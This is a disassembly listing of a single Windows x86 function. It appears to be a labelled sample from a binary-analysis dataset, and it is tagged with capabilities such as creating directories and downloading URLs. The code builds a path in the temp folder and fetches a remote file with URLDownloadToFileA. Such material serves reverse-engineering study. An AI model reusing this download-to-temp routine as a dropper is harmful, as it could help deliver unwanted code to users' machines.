Function at 0x40f2e0
Capabilities:
Create directory
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4150bb
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x41e008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x240], esi
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x220]
push 0x104
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f336
sub ecx, edx
je 0x40f345
push ecx
push ebx
jmp 0x40f35c
push 0x2f
push esi
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
add esp, 8
test eax, eax
je 0x40f533
push ecx
inc eax
push eax
push ecx
mov edx, 0x104
lea ecx, [ebp - 0x220]
call fcn.00409060
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, 0x104
lea eax, [ebp - 0x118]
cmp byte [eax], 0
je 0x40f3ab
inc eax
sub ecx, 1
jne 0x40f3a0
mov eax, 0x104
mov esi, ecx
sub eax, ecx
neg esi
sbb esi, esi
and esi, eax
test ecx, ecx
je 0x40f3d5
push ecx
push edi
push ecx
mov edx, 0x104
lea ecx, [ebp - 0x118]
sub edx, esi
add ecx, esi
call fcn.00409060
lea eax, [ebp - 0x118]
push 0
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x40f3fd
push 0
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f406
sub ecx, edx
cmp byte [ebp + ecx - 0x119], 0x5c
jne 0x40f461
mov ecx, 0x104
lea eax, [ebp - 0x118]
cmp byte [eax], 0
je 0x40f42f
inc eax
sub ecx, 1
jne 0x40f424
mov eax, 0x104
mov esi, ecx
sub eax, ecx
neg esi
sbb esi, esi
and esi, eax
test ecx, ecx
je 0x40f482
push ecx
lea eax, [ebp - 0x220]
mov edx, 0x104
push eax
push ecx
lea ecx, [ebp - 0x118]
sub edx, esi
add ecx, esi
call fcn.00409060
jmp 0x40f482
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x118]
push eax
push str._s_s
push 0x104
push eax
call fcn.00408fe0
add esp, 0x14
mov dword [ebp - method.CBindCBHttpCallback.virtual_0], vtable.CBindCBHttpCallback.0
mov edx, dword [ebp - 0x240]
lea ecx, [ebp - 0x23c]
mov dword [ebp - 4], 0
call fcn.0040f660
cmp dword [ebp - 0x228], 0x10
lea ecx, [ebp - 0x224]
push ecx
push 0
lea ecx, [ebp - 0x118]
lea eax, [ebp - 0x23c]
cmovae eax, dword [ebp - 0x23c]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x40f4f1
push ecx
lea eax, [ebp - 0x118]
mov edx, 0x104
push eax
push ecx
mov ecx, ebx
call fcn.00409060
mov esi, 1
jmp 0x40f4f3
xor esi, esi
mov edx, dword [ebp - 0x228]
cmp edx, 0x10
jb 0x40f52f
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f525
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f525
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00413d82
add esp, 8
mov eax, esi
jmp 0x40f535
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00413d41
mov esp, ebp
pop ebp
ret